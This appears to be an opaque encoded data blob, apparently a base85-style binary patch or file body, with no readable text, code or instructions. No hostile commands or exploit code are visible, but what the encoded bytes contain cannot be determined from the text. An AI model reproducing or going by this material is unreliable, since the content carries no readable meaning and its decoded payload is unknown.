z$jHjn|B{stW1Xl` zm&?PzWw+me`zSvfxyN#W^PrgdDRAyGoJbpX&DP*OP~{=h7Kou(Hwk zw{d=T1mZo2O&`pzizmnMx@@DELI(Ic5Z5^u6`NFmiWC*4pu52G^=*k8X5927{$`FE zDG7;7cLoSRnqu<>ZyQIrIv%JU>&txOuX1#Llp((!hssG!{aR_epTJzls=r=Di_u>s zUMJ-Gg7_w~YdG_+?bf$aXX6Q64VDx($hXCq++l;WQ(x!Ro*>wQPucp`8`16Kw)`Bb z;5-TE!}}PZjjdU?Jv?14qJVj=SL6-k15a#EvJg7>KOv2G$?Y3%4487UtkM+)gyxQ7 z{46Y=-|bsulR+OY;9i!H-+m{ zvbo-=@^K(r#T8RKOl`Nw+87^c2eVSw;AaU8o$QmAYUvsz z^u;5MZhQOqXp&dt;~r^4qRAf?(YVzL(~hTpJ8DkSieQ0# zpZFDCDV=*CuKO$8Zd(IO=Yn4#3b?j0&+w%4A=4;}Rc%epu%dWYbpK@KOI#kyso-J8 za5c~RuLo?->!>)CP6cOi8aCxw=Pg7+pqQ)!m4MsLhJx`F5l=laU5J22=?*u@d~A9? z#Kv14ZYk2ofP8=0Lu;W`;piLY^5>Zhh?!d^g+(S6qy4d;xcv5#d=u+(||J0JKaP{ zrJr6jUizH`yRYso=(GVxm74Yiq*_fUS=(ECWoKji3|aZ*F_UrLy^#N$TN=XnQ78ub zF!61%rIKM?(Xts_2SLdCxd#VP>Ab*@BQVyS1r$<4UbNTX(=;Pn?@sr<^8< zvYEMTn$;0~8f`7th=GZDa)^k^hE*)wki>RrcwTf<*!8fbK~8#qR!_V=wZ${%#4k{k zn@>6>dAuS@by{0H$55}lUT%ctxx4vfIWEY;A<61sC}vg{^CHoBbF$y*2?fwBI#t7|1%sI7 zV^Ht+iJ4Uu&%8ag#Pj{inm$TyeF@f`nN`M<47~OT^6^8|eZnWbi4|8tUazUuGYsOY zCUcvG<)TUN>2<<+d9pK~1mxRt`lgteF zdxLo)_N2yM`7BCCiv0M@VeRhFSvdhWtTI(M`4+#9-oupN4cE(Tvg3roIzC5CoQ; z!#ib+%FK>uN=q{+0-fCZeQIqDDP06+%~IIT#=2u29WPqj+YKkW` zjp8e5$d4A*DR(12I@t8zn5>2imu6s2RPR&TY|SV^t{2u>Q4)*fRxuJ0K`0bN6bjgK zoz>0=Gn&mt6`(#k8gFO=+1KNW_M-Z-QeXd7dmR(dDAXOEdcOq~h-)-&G`%&$P!3@ds z0!j=`J&0}a5&dr-hS>ot-@6Oi7-QvwH4vV@fddWKLm44K@(oABKMo26+u{koV590J*(zCKXe7MY9nH zOZ=JyG=^VLP;g(W9Sp->+*54S<+qb3o9LA{6iqs1BzSGq3Q|ff z5?<&>ADQaJ*B#Y7)x<`%Mb zuHF>I)-e`hlDXtja}|V$ zQj-ExD>@0rETZe<<=hkx;c73wFDV~vl{EeJQZ4{5W$cIiaAt`tdUGyVQ^fICAcH(F zH{g_GI+nz#ZGGc<@}x5J((}<(gnrAbl`uzaNxO!4_9zZQOaTF?@^NC<_%YCyyf*=Q z@X`zoXpc=6LLkR;?FYhD6Z)BB+aU~p1 zoJEe$iNuU3v|6Rg^pxxkkmx$=3Z9t=+*56W4^7YXJE)FI@&DLtzX)hwErMP z913bYZ{9gSzuXf;O|4pGtkGni)K_mpA&6~|Xj~|z_ z*>kXedq<0f7-T0`k$dN|Vt=(jwi`noGN3o8hr zIWvuT=FC82vuhd%<_3()s;YVN!jL)8eXmpleTKAlY6&80x{5EFZ0KfTX_D1Nz-uvh zLtY+&Gl9={?0YxHRHEe$5<#C5vmyxcwJ4Iiob0jn#6uq6SzUruE@@@IYxz|iJTELo zJ9q>CAe)WWXo4X|{^7XC{IFFIUsrwr3-CEZs5n5nYZausq<^Nn{Bf4);HZaB7_#nG zMkzObUmw?`uuP188KtErTS3gN0Z~5bw6DVjg+q0rEL(F<4Mx{k4deB~=Zd=YhcUP7 z;k!wXDCN51hX1ln5ps=+zGG{14%sD_gjC19Zk7ui+QdiCFFny?G1S6#4H;w3ygUBM z?9a4x(U1^SLZ3RlcmKJ_c?(@Sx(0Lkmk+q7_xV!5EhNQmo&NN1rx2u*Wu*Xz*U7ib z{L4!Jr<%914mc#f;nUjf-!9e76fpu&6#oADSCwAr98z8x@B8zn!3ZuZfr{&`ZI_q7 zzjH9GzBj-<-l*^n`<2Fa#|A`OoKT_M-`cI-8n|rO3AWzZKeq^~=j6Z6NC)M0Gh{__ z;>W*b@&0sB2N#~*9sKhNdR@YzZA=-uZHYnoD?@bz#wM4;Mdu$f;=fkL|C3e+yb{+h zU`2`zTmWt*D)?_*S^B)L+`5$c&#hgP08c4CfyLwV(?{B)Z%l#e?$omX9VoBj^T9zg zdY$}p&wtDGp_1O@lkeR97)ob!aeA9zaNN<4GSpO;>i1E0i@OEt^eY6(asN^VSHV+a*-(yL{rTcR zCi@S67f@f_vif(8$5Bi{URAXz@(&7r@5hgqIgFSwWUv zu!EQ?J(K75m3JeHQvbZ9lu%qg)iUp@_?M}5p`jsxzIAwc`E0mCee?21zJZT5{H1jt zV{j~`$A#G(-uz!o$?Hu>>A&Q|&5oOT z-wZ{t|G8Wnd*fjH{|{#TKM7`l4@h*Qmig}obm5!|`p@_O(Mf@wqr>R#tqf9cuNhtgfi2sNAKe|2k1+U0Ge#m@RAkEs^0m%V#LYtAIJ480na-yH^+`W4fh~~j{Cdomq3^ny} z%|ZtFile3auY<#tEP5^C-oEt#u1937BjYst%_R}??-6W&a2_vjoDOH1HbG93oo%#4 zl`YgieC`@Q{F%JGxbvY)tJdpJKuJq6UlW4d-uCg8q)%)^WoN&<8o`GjC`*j`NuRh3 z&(0Cuptchai(l|0SzH|3bot--liUZTp@nv5y^153jm--@XoBkC8&RPHiHV8&`rFG1 zJ0}&E^miVzQrXzVac<^DFoK$NOIOa8>vJPhmrH+4^&UOIAcDhcu9D}X>+kR;(;9ZeHQAQXodMs~4&IXVkemNxPV>Qk^Nqc{kO54;jd?ku0;C z#_EnMlu&oROGQnsXPLx>Tpw-GeO7yuoBwX|_v1D;J{s~&h8N1pgGfDeoV>$1(i@a{Q-CH)QE4e;sdG5u)P)MLB$6=Agd{@p zYl`RD6tmZmA3{m#!J+#X60Is*2ttLSJTJdnd~7Q3rJ=f}Cdu~;LP2O6ksU_IwTTem z8ZxV4YfMf~_BU85sM-}^mF5*`NQ{KNFP}XO(sR&xbtJri0*-sxfkpbIHJ}nXGweVa z8EMTWt$V&lOJzvhecM)*7vovPd3nJbW^c%Zy#Fki(M4XNCq@$$ChJ&y{E)VhIH}xi z9es`oasx#ci{PLtFYTHGx_R@(?pK3X(EryVq~%0@6KBs`+&+ql!^O7J>w} z>^GgS?!QeAE!IT52neTkN8vj7hXs)%V^^g8!hSj!-k!{ggW~JpnTquWlqX&*h=rIu zL&|DmqYHHE!rhPYb2{G*q)WjoHsahGt`UG@?vdHtSFL)&=_j;^Didb?zoYp3MTgPRbzh@3u+u12u4FI6YaOlG(l36=G<4w>9-@x#h<>Ypx z3*n0F2(#6(!h4Y`#A|BswglGq{1Y2f-3u`q$x3 z(!r_s6@;kyH?`h8`ak60nh06Y!(K9d%s6lgob#`%-|Uo{PL+;9e52p8`5rQUjQ$q1 zvyczDUFY6z$(=n^_LA-)Or6GQa6@mYpzd{@Gj?J9&fA2CHLeHp^(?T6WIlgj8DD!m z&u~E^mW@;K>|>u$L-HTH62kTdxD~eu5S8(k+lL))`Bo@RR%xah@&R~cVWE0~1)7V> z-Csp@Y6^oy8ZRO8ZephYsdz|^#rJ;U{4sup_%wXejXvN47rt%!QNWj7C*jZu)i5R#J=pPut9JP~sg zg90S#?wQ9r@&4u~VWT@H-$3Ffm=d3yDn*-^g?4uM%aUI6At|a0TGa;9iF$og81D{O z__$r}>PF3IG#h9b-+zVVf`c7T?%cUkyw^@l#$$g2j0bcf$~g0znu_Tx?Ja|57LFWj z7AEpqpvBH7s3uvO6^49%#94Ls>w=HJ+&0=%SIyXO;TTsS>Cv%5l0aDY7ZbzTT#j^^ zIV{)(hSVKUR`SXYVq$pOVczgG$9;Q&7ry>2bt5s)Iub26T0QA{9gr4g5EA+WS<`PJ z(U0Q=t!M`~CP4Wz+((5NJA)?X9s7p+{P#bOrx?v8Wp|^|otT`bMNeOJj;wiZ)+&L5 zKY3xd(L`3y^MQObQ~Qkxal!JaxZS&tv}=vxb9@FrIvq%~PXg-PS0PZZ^Pv0d>}+U% z|J7@^koeRBWhyZa^Zl3zY+kF`PfOCNCOs4@tAho)LzrJjwxh`Q*SNN}(X0=t;z%EX zl^s`&l=K?;gl?T1llNx*NucU|L2EIZ!*Vl>(fvnlbIJvUGEo7VSFm&A+|GysM7dw1 z^!Bz}+RT0j1BwQhlxdBRdxcjX^TiixopcKbogim~#PjpYW0+al5_lowMjf>&s>(l1 zj#4>+Jg{1*x5Y03y+aua_R1_uI1L! z{(wk@VI`wyQ1gTD|CF{ z=i*w@Gu#n4x>PGMj}+2QQuPU#-8?+(Z);XqreYZ>&pPkKP5;cjo=jYIz;9{p%iYrG zI)>zGUXEke_72Ks0=u;-5Zuj5f5S?rth`NZ=v$8({DD#r=?>t8V5pN(Yc zT&3dtAJ`DBu=m{KA@fdi=iKo42R;@0CeX1i1Dc*9`FeT$Pb0bY{wK7izke#7 zOt%%E3ie;3&dbZ&Sr7D!PS{d`7T)5s$F!;!xd_t!*=Hl069{}!_G69w7x}t<((6Pl zz#NSt35^`l5$J}uW*t*{oQjcz#=KTj%1!Xa$P|P@X7E@Yw3PRWMCYcbdMbMP?M_QU z0SYx$b>_OsWxv)>a&m-L&h+GNKg9^#p7hz=Zm2lJQ|Qxl@qv(MbTEJA-zCX$cgp-> zvr$*au3evoZmf3R4o;ZQUHBTVFL@>BZ9n~_2YIN>sNm>vxsEUmaaR}f=q|xPPOJUy zV!Z28*NQ>>yS-K9#kfK(aZMP-TV-X%(SeH|i5a2xCvM&E?=pUb2Q^;7=e&>3T&he! z7oVu^`u^si@5y*m^3Fau7=H|h_F#j2=S(1tr&R0r4rRbk;5w-^B>96GIaT_A9rhz` zI+eVT@nZ&j8-bahAeocfadpzyPSsy9Ddtp=&XSGN5^SZLJqg`g2`gu z_oCwBrheLsD+@|Jw9gYd`1sg2IKz|qvUN16$oj9av!ihF{N;A|=MldjB?UBsMy}u9 z!G)FTs*rr^;8S1ZRY(%TP*Ks_YCMGv$m_>k0=2qM!S=pinG0XipR14L$>@^G_8@Lw zwsKoZ0|3&i?DP+9SFVNPP=!0LYj%6=z2iO>g!rh505$3>+%M_GEu5V*aBk8IA*qyu z`BHQjDYuocTO6DfI>(5q*_FMVyaXgDp)6XZG&|_pH3Amn>G`l%qajcU-T2q9R@d<# z+)lx-K5`nY_vV;(onLu$d~T$tNz%oON$*r9u$i?@A*RI2G&qFF-AVSj4+q2+)wrpRtIa|EmV{9iIl zHp;8^KH1GZL8EKDM^$3P54%KiOD;>j)KX%})mwO6U7-DAW@-2qkAI$9A zsr=_bW8)0RZ#zfibGnzSrPo1@wfMgyAuE{;1*aZG2m}fX;d(#=qOZs6xDngfyeK|* zWXD(Fs%Iu(P86GQ^nMV@t(U(3{Y0#7!(sIhZrcW;fu`34Ey(&(&ZHPgBFyf0_CJY` zVX8re(Jx?Qv}viggL`Ww`F~c+6uwKChq6KAS^9PZ1m%&m;P_(CezkA*EMxE;n_ZVwEt$ z031TbZ(Er_7QgrX;oj;vhPHr{s`$&XL_ubF4Dp5dV|C+Lj;NM_fr|i1R;3rX(vdlF+3t6<;_lQf+WMlbt=9*w05KzKfvfz^CC57)%i%D-ule~5FyduCh>rn zroThE88Hb`r^=RC^rTiQpOuU$N@9N{N4dQU-(`-KlT#DVB%|(|(`HV^iLlTF0XeZs z+Irk7$Mbp|G}^K22^2r1cujj8uJ4Y>83J2AuKIYigZK|6VoWD3lnFiSI_J{gJ+Mn+ z7LRki%&qn%wyHsPg!Wek)=LQoGa0+-Eq(VuelF&FYQ^3z94-_0=P+N*Y%i|$_oK`i z>#@XuC`hd+JNYe8j9(Q#iviSIW#|w20O@sc%diXaT$;%xjmpehYj^tll zBzZAZMgYoQV2583^U-R_%LqJ5;C}&vOdPdxBv~r`APZ zew#ov(?x9`O${X$*DqZ^Qfn_bFLZH3l!}Z)O!#vM7XtuYn01TTG2rK-5zGS0_~#nj zTTRl*=_>7LvK#$^eN&jqoNTPD63-kff6*YgQ~x6k(k1VLp+kf`jS_}&TPojL2aOwt z4wG2>-!U+bat1pSVhRZXSU7O^VV*92O8}ng!k34EWj2#zc(8rHXq_)^5z*Imif!=> z3^{VFOCRrMF_W>cJ>&dVktY@_Y~Z@T7BB_Mjblej@e4j1yK^wlFp2`^jF_VR{o%Is zELW4!msQf@tGu%j`GQ-E4U8#{Z1{*^38+x*_f5}i8Lp7Ln8A|Z*}8L(5eoc18Xleq zblMDTZ1yx`$L)9G{o1n`P%?w9w>AfrVmR2B`RorB5EkuQAF-C;J9NbQ z8Jh*{s0a6x>&*)2PZESpFP;~5+t3M(BmGGV<$-?#IC)?vV{5}93QrUb8AeIwzJ2xm zx&|5m7VpE|KR5*^KmJ*H$do^KK3#A%n$!Lfg1O3_Y;-iP=>iFjg8uK01P#iak`g)5p`cUJN^>l@L#oPxan@cRY zX~vn@2U%2phRAy+BSreF6Y~n2U3Y+|u=&>C4n$svbN8+gg4dMl>{yk8|0X zClcT3&KYyRa=oe0&~ ziI>t(p4>C(JGpLIP_PnqaGotiepdB&r{uMOoVgkQz|BDxm_)gp10R}9*i^WoGSZq{0rR%DXT%|$fTr#HeH#{PX21e1U00r^qo6tMb_K+ zFrjfoF3k#ZTbYBR?UPRH(0a`c3W|cZ!2c8K;irxjP8LAHJyB-p=t8hl<1c4(a)c*D z$w$S`-n-)8xyoy)hb-*_Y35vt=OAyLZL^!zGmd0l3|}87(F~I6A~^%w;zh=ZA0Mpd zL)*H#V^@86;5Jodk{+a0ZVSxy@giz6_LSt3vcHoDac~Zn@hITU_EhlL%N90_-U52{_C$lHLO%18XEKtX{c*P}hOt0|q)Mc2D{93^ zuiy6BDyDNJF3DGgSfluZ=QrWg<=+VdU^n+}=W^5Cxr1^fE1AwQ5e)rtWblFomKj!3 zm|N?2Z*Cu1rV1GxooLp|*NhR3io*v^qn9i(4MeN6(CRn%F$~pyV`u!>KlD4jeWI{w z>MJHCo!QUSuewMmL74j~QvBkJvAj1qy>@G@Ooz@c%>Y=!fzdn1Y-iVAV4mw;<9JSD z#C{;%R=`;hXWP9)z9W$qYDMoA;ES-J&#=GN$%Z)$K*dSQtAfmOm=a6dU|@oX|3%(g}H@A+1LEq47L6y zP>=m3??r|XlevQMVawz&;wYT?VhVEIa+k|XhI69_VtB{sul3X&K^Sz)EvE6L+ht!2 zmm^-e>e_|Zj@Fy@c|2-wmB6}E6%kH7)>K*^=;&|h!7IeZhWET;UD;LNxMOfaD=?ZS zcE_P4LG1b{f4bqRVjgmgrOU~%K{YSn?5-uki5_HxB~Lfom@Jk?I87>=9r%V|GE)C#OOnC%R{97P}64+ zaFjVK4|keVvM?R=@gpf}0v^N7L6Wp_Ko_E7;$R^r!Nq7R+w5;Jn@?viO#C!syn+`89s->#>rHLhrdP zFu|r z?r&x29=w56KaMdQTG$O1kRC>NyOey)i-9bjR$t!d-c6cM7*`kvkl zfFkgIU={yj{(oT_3P3txorrPqR|&2$@?3UcXHtLspF8R*0e4j5<}}Lt+aCsh)IL{N zNNctGd0fh8AhE_)S`kZ~{+BAbZ+(tIc=(P8{XNZ_k-aem9YnPI%fZy^IKQLs8$}lX zJczLdfE50_h#xyR&_QXI|5r$A0`4+)^m%vqUw8+H42+v5MuWKdtv}Voltv;TZgAWh zb~*|5Bm8A{wsNO-`2aG8VN$Co5lAUJ3fuN|9h?xPSM_jWXykl z1!Ok985(+C8u2{;rPTSjcFFdta&#_g{GE^|^Ib5tw8Bd`HXDUZ1*{7ec=f8qjWL4k-beE{uG^nZT&@(e$5g8o!0^U*N=;OKf9EF9&q9E9?)EYTJ6=||NCutd4maqJCd@= zN)VJe^)sc&g{ors8Ny`p2E zF5Lh`5aEJA*`m~u4LIbFs%#f*KQOKbh19(MV%iH-TgV}~0;&4Gui)y%J}ahZI$GL` zrV>Qlj1(SyTU_zM+FxyM%W_NN zp=X$q0+ep0{deXya|;k+8LBEBu$zjORtx}rfG|o_V2Iql!Ty&Hpf>U6qqwGeo12^1 zw9h}=CM=?Yv@52R*`CU@L)^mF7N@zTk8V+dbz`z75cnWz;Sr=%RLtKV7RWz)regTy z|30l^q{VD#LjF@Lr3klcMC(L^&{b)Ykvttx-7U?t1Kh@Llr|!SgK=wtpvQ1)FYmIT z;Pb@xZ;u_582{QR2Jyd=DXKZD5Bh4eJ|Fn|OW$T-fQF%9!#iGaYHZOQ$xhcFIPsDr zDVD=bOMfkwMwsW2d*{9QqS1Qyh@+*+J^ObF?;5*us3s zHzuhU^7HMU`gAnvP5t=vVz82Stis9{;0d&>LWJSr*YET8k*}cFz7{g*1Se3v?fcEsec*;%s7xsLgZ0J5#n}1e+^iR&ldV%`p$TN%XrIZEPuK6k zM-)}Xl(vu2JX{xV-scS<|FD#|z!~qdB)s%vimO}rcr?=w_o!}EdcAJ#(#B^ccnmkt zA-Dy0Y?Gefj=Hg}fmTcr6R)g}m9S11JA|Mgf0ghr$#nasER@yvArJ=1O|eNAL%b=a zY_>WH=uro4W2bw z)E$Fkd55;WZXK>gm9UrZ*K@>`%5Ss+jI#(97MMNk{GwjtNT=!dP^q}o z`fGEg)8?%#`S-r1N)N7DQeD;940|86B1HJHf5zJ?&8TyBRKWW*ct2zg)|`=j?|B>U z{>qTlfI&Flt35s*t02W*&{#QG7m`vlf4uN|q!{-Z#g(SQxA^Q@wSLLa0`Yjxq$45v zT?wj}24yEj=JYGWpumdCy|X>U=Fmny2{vIoenPPROqFxM<1fsP+cDNTkLb0Y0C&R?3IkD;CmbntJi3f zamcCcP$gF=7W@JGm0(K8xon--G10A z)(p%P;4!2+2|uCgqa8XoU)wI!4rJQ7x(f?Rr|@0>bPBdtd5`4|&4pf$@E;Fbd9-%x z7M6m7QzEayF*~c~9tLbUJ9U&U0C7K^hqqqogYQqH0Cv%c!~|j%3A#KpBilsG^+}?n zA>Jpt(v#JQQ0xb@H8(w{#~j`xlbO+|ma>N+QH~Ej>BkWp+DiEep5;yUH(}3CGWbP* zTB?@}_I#Ei%bB%j!=Cg>dyVvg<<+ZjU!Ti3aJt8SQk}{t=o<26iXj5p9$!=^x8>~3 zYtE(ku;BvzhZpXKIE68l?!R2DpnTKSmx*k!PHpNe3Er_9m1n?n(GLeAD|J zENs1XUn(rgs|n*6*7ospvGss5XmZ4moVu0LOXu>;&y*m9KBrz`bHm!+zBQgp=^eM} z#cGH3YYno*+_|ccdI;#+X9;fUZ>7|)6v@iSG_7#2DplJvA@h_VrKbKtSJPCodYh#^ zJ=NsyQ=I5Eu6`_CAS{3lIc)-QY&-i&dYhafg)S z(_HD9N9L@V`VyKsI^@gKYY+AJhh~7-YD4gb-SQTJ=Jl$+Tw!iA@iuRazy~H16|l;n zEjIEhsy{|`H!|+(M4c->=(<~nTL|*Z#N5Jo)l@G%+3K%-4 zNr#lc;V87~DqNS;V!W(lXyY_pV*O3}8<=NxRZLrFlxcsa-8~8(^OP6|BQn1+KT6*I zgZ(Lr8}}qVq}>|qFQaMr{H6-+0~J2)jAEV2cr7m%6MfxS3@Bn>=RQ<6S0gqi{m6bsP?u}jH zD&nmL3q&0@oRiu~VIU|=|H(>9LG``zsgZo1OalWB;%t>@cIkX_^1{@)dZ~&D8T@7C zOJ9Be3nv>#5LKAIc5HAxVCONP$T@-M936|lqWs}Ba#a<`8lGuMBKc->W2FG`eIBu z*O7v1k3IhEghs6qIgiz3c!Y?Xv}@HAm|dTKc2T{jD<4KsCGR)JQGX67s^u-wY1myu?0nDHe60WJ6AXp)h8m|w=v0iwM0fn z=Fogu&DzQCQ*K?2qXzdE783EVFEK zxj0Id3J-rXZB-#Tky+ez+-XhxO|!pZX0UGg^$O8D$l#(n=T6&oGX}@G1l=JsF++8A zX~O_>sKol5UOzFP{qjAXZ^Q+Tc8&|LBdGWTtUi8z)Q+|oxDT%{{=AJc8{XQ7Z;w4! zPf8#8rd<79V&XCIG*m6Liid@TC(f)zCu(hDtK|RQ?Gpttx6(lqi605=3Lggj-fmeY za$Q9PKyMmw1=rnmd{Q-dmM+(YUsF>9 z+nk6vZrQ+Y+zxnh&0qd7f=iJD;FK{iKy`IYo{)g%1i2f2O%E`*0_1?J=qi!#u*^4HW9 zc}zYe^V!NDueAo#cn;x+ z4vG#dBBXK}La7g^L3Ve5JI{A)nutN(-{?q|$p{;M(-p!g3qC=`&S7ca`O`eU-z)$J z|F4Il z#h%+qj3+$sI!zGov@=AGT+TE1Lt7Bh$E}5q2g{RORDkn}^4KHe^(cv*i8-#Uhp}v&lvtmfz3F3-2sbNS(Yw4BSqcB9bQ|xSJ`R7wsPP z`jw=Nj?E+Y!vRKsSOI#^%sjL)?s$E)h6X%hlj!Mbfyu=XF2)l+8p^fqLQ~_}!Tf zMSeSsUZXc6y_$$wJOW0n2gk(yq`s9hv)$iGQ)JO7GKk~0qR2DI*fZ#{q!M=2dhRn( z`@h(G%cv~7u5DWpDQN`h?o<$@yOHkh1}W(VX_4*{@RaVBZV5rUrB%AS-i2PqeLwL& z-@kW!;~C@nbE#(>=dq5p=G^Bt_nBnY@ccabK3i_im~ncQ*cLEiD>K_e`9AvOA%GnG zjxW;K@3)5ge{N8Jyt%pgT5zj+s~-3nj$-e+@GJ(x_#AIzzVSJC9EGp7J7B}-a?|1? z6Y?So-eO$JuY5FBX-?;M_#LKMl2>VY zov$rk|6D!g&c&%suMmtSzlzg*ZDVz*=g8*2e!XP)6@}LgdL>4*L>9+%P;~j``hr4d zV??nJE9a3?g@(`Jvs3#H?1#>Fq9r#6 zAlG_^5*j>w6JL}AqtfK?h`ezQ9x;yf`{^t_+%I?s8DT~VVGj!pl{XX}PjTBx7rg-S z1_|xCR&lYeqg5R7%|S`hsl` zp-SQIw+)-F0&%?k6#is_<3xwDNQE|qkgmtQ@kgS@e7e9E;wtHt27F6wQw=)mWUXB! z%r)fQ>{y}dvuCQ9dZ2s3mWdS;gYtQ6*+-0A?Sc;`1HGs-S5``|r}NXesz!(f&>|uC zdw@~w5iVZJWv+TQEjRaUsjCC@c=1fGV9{iG;6iV|pmk4lXO%VlF5KC{H&r~ zF7L&Y@3UoTD)6+Inkd>V-052Azn1wOc;9+`qumB6Ii>di~=rYqdJYH+2_uRx8NF~`|12X# zh1b!|`m(D~I~KH?GowU=)ilm(Wz(r|x}N^G#EHr$i}l@T5}6vNrb|&4 zw)5kyB2VwXx7S&Cak&(uK|($+1mF?n2Xa*ai<(Qp!GC!0V8h4F(K6F01YK51LSUarD@tOM92vMLM zjYH@U7bidTBy!<7igOL3Kv+`7M8$D#czC@J2){|U+eE}8Axd*mw4AENTFUNr9~ZoG z)hjrM2_boMDYnZn=S^QUx2$p6L*NeFi zMeYeL?J}}c^^0EUK4+b(+43bi)|KX%S&deIUGIVj)h@lDwHwR?2Kr;Kwuj=HuM^tq z-@aT^P$$ijyU5BQ+>ZEhloD(Hh(d{rN8zz__S)Bq{lW%!};or+o z(PfWK2L!chUEr@S8s9^t-r>)B2So^<>^}a~6!{z-M=U~gsqbdzrTcP~jz*x2 z7bCU17-vu_*^XdL6I#@Tlt1BTI7t2^oh#kwO?2D6z-CudOaKxf$-rI~gBk{{%7?~{ zjbK-8x6)MM4wIw1&;>rGUTVh}v?}yBlhxPK!tsUE!36cFv(#{4Wh&wAnF|&@j$+pSnRGepxjQpaCFiMA6n=h z3bkED{SaU-ZGOZTn4+TT9j75Ni;LUEXgkJz@xF0Ym|59_`eW;k=O=G{ZOp#D&+KV{ zYZy*Yk%ZE1_96i1e0t`~a)I2qkJrGg(jsZ;Q0SGsUFvFVE3IWpjb7RD+h{~N=V#9h z2Wiy9gb(|8$PskiY9!Z??UuxMRA}6}oxd1>1~yykV(d*YjlL%Oy5$EACw&o*VX_=pm+HyPrM;6*EqS)&7Fi~krIpkl2El+ zr&H7aJg@9{p;ZWQymBlrL7QA4ZQRw%j6QEI__ZLqD|0#(YLpcGa*^wrm;u?JzuK*M z)p9@qOtSNjC$_kpnP=IVOhdNnKK=Zd@fd2{dh&G)l`L6< z<|7dJC~hqj1`6aB89tQV3Qy2bS1-6jZ?M@Rp-4jC$$NNs_;`8~9gf3wonEWa4XNZ1 zF(^gT94WEEZ41|}d6+;aeLGn?1voZreI2tLx5RSDe(Pg(@8+FBKQO@{X??pTH1k$+ zRT9^#&ZASZs?V5UUsHH!|N z`!)~!e6NL>Mssr=a&?Lj5KQc`S#7WoGeR-br!mHNsiR{QAHTSCR;%~I$X7iGDlnr7Kpf4-AEnwlHcRV;t}BA*xO&xap!L^6<><*}Gs%CeY?tV(je|L>Z1wM)GPb zZ4RHe-T@m3+H^H!TQ~8t(w>#nX>%M=x#wf8GZUtr-J_>&%?{s=aeA5fwoWfGH)MgN zS$FVgdA3fCEaJf<#!Rg#=I^sKqo(Lzn=3Dy41wXW zr5bz4z2`bHuMyF_k<_bA4lx%M{`{&7U@WqgbRIkD*5h~c7U%2qNj63=aH`6A*EVPc zf(-zfPi`q;3O^ZBsO&0hRS%SqEVZGmDHuUq5S+*z9v=&~`rUs$lkgg$>`dfkoDUzo zWGt}^Y|wnCR-Ma6HGvvP_S-m}`NNZyt2hU*{eu=2Gr95cx0G`+_mnne;O`(=PtXdL zu8t6 zSs-bC5{lWE-b%#D-jMh!HS>Y)Pvln-EUN5^d>7B!T&Q{>ap|{o{kqxXK2T3Z_f-52 z%W)rCd^&A)F#o9odGq+rVp$lADVz(sxe{==J!fGODUH)9xxV(o9eRO!G`ypOPYM!8 z-wKB(PvLTNhAv=8RD1Wp;Xv@@n*m9ez}KN%{d=)Y->myTd*Y78#y%8>$%{RYYtl~o z$-V>zyRL;-8Fmw5;*1c!&-15xT&fc|+zB!YgPku|)BdankynzU#W9Lc9KVFbn9Y~K z+8tXx-6p3nKQ2CGd0-`{nkG2Kak}!wyYqatNg>{~`^}t%R!AAefT-Pou}+NeCyAtH z&^l|T;*YHxcjZy_$l7ga?z6k9u$5h)#QSn*943Y!dgQWHx5}%ddANb!0V+S30qSGq z9J+=35L?fRC~A!06AKx#$Y;64U-^vi-7C`u9c|eTVbZj%f#}5Q6{4(2$xp8bYQ1%>XFq<#h`b8kqHU&o zXZoTn>kY^BckgZTy^%k{ogObVqi&O*?g^1Xy)H`m#D45G?rHHQ>%|Q$CVL7p8y&HOCE=e;&`Jost zhJ&LZ-5AOa7apT$_*0(NLB%Xnj%B*>mG=tA+PR{lJh8Wzqn2^!${x>7UIpE=<0K5& zCfPsP(|cmQVi5YcYvbFrkRg%x)3|(ohj`8;=Cc@uEs503nu0{MQLye$<_rcvx{aFV2@g=~1 zLp{2W_)m4^#}Ti_30@WN1y$>P`>Ik~@Wu?6cWf{I++ltwN;2>rjJ|U``TJ`o-M&2~ zieKMPh3+vDc%S!+1L{97_t(w_F7C(2{PU6jdvX7>JLmF6aI5MS`8ys-mQN<^bbtNs zci>k@pgPkwBbjuYtW-T{zanT!VF`KRZCI7mqk7+?NZZoWe5Y4EK|xNr*m`ez!}WWj zZQh@oxhsfaOKb4}&$7Vk1RK+tKnA&*TC0{neqyyg<$PCO=ABHpmS`LT#Nos1Uv)VC zVzjq%DVDh$Khw!yx6_E2KQkWI@6W>{-ZBg?ms@p+(Q#OCj~`2J@g2seJ$S<)w#Zkc>OqKOQ*x)H?wh5BToP{uXy`-?Rr#E|(R@P3HNZ z2c2Ax60GXv9{&aApR4YXAQ(yI}wxbOY_ zs(2ajs{g&X{~z2rpS)Monl&$$K|%ybmtZk-b6aO;A&U7>Tiep0xH!xg^G)FxR5I;z z?MM`%^?(rLY>#mR{vtAIocHJ~Eo1lg`ClHoY5~-Ry`DK@f3-nAOL&iJd#_RqM6a(6 zqo{0o*^t3G{o#GNabHVU7tGoIDvOu!*N9NwAdo05Z#M!lzL?&_vo~8VQxK;(<_Opc zwhS3|+kxmTmR=p|TKQ70GB2k#?XZx)n@He`-kMQv0KH;+$l(bUrT$;DlCZI+=lZkS@dhwz-SEUNU$~w%b zR<|u2&n@EOgvdxOy)iAVI8!duuWMs<>cMR+oTb<5w_C7skBKRQ3S0A3HRjJ#|Ir^h zIwr>MvV*2--htN>*$P|=QSrAizVerS==N46mSbFbN_y^UEraVU^e zknpP4=T8(AmF4KwN>RDFwa|v?u`y}mRWqG>W7TP+tIbECL=YYg5F>_Sm<~IS$TueQ z`T4CIerf1rcjQDE7?6==e}3z__$DDWRmgrY16Yep<(fHuCZ~XWp9kh3VnxYg@^AUQ zwEcrC>z#JScxJtK?<`eHxF-fqR~2N7h$~Lc%&a-?pMUX$Ej5;cj#gAStm2aB$(0+x z1EY!L?@kksi;88m4;D<2@?Mu0E8=SgJb2_+*k}@NL0kFtDR2V`%<$6j&&|cg7Ei5KcrAd`MY zc%ZHtN9$!a@jjrOt?*_y%J8=L5MgUgM1Nu!@;TEJ&oQ;XV4jn%NGqMT8V@uEVg8lMe4Qq-G7kV zNL#|i#gXY+(FIChsneSrfc?NbHQs_j`W)K`B;bGw#V4;`Jr#)SjT?P2z`ew%)!}!4 zo{aM=zRvnMj^oCtf_vI;*uV#xKF#M8X`*-zSof-opFNEd@`wTdMp)1Pe4VL(fb#uq z$QS%8DU;5aK%W8Gh9QYJ9l! zJWlX1MAGCV|6IK@UzcohC;%CRAdxA>us8KsIrQKi_o`jj=sa&Ryy-9 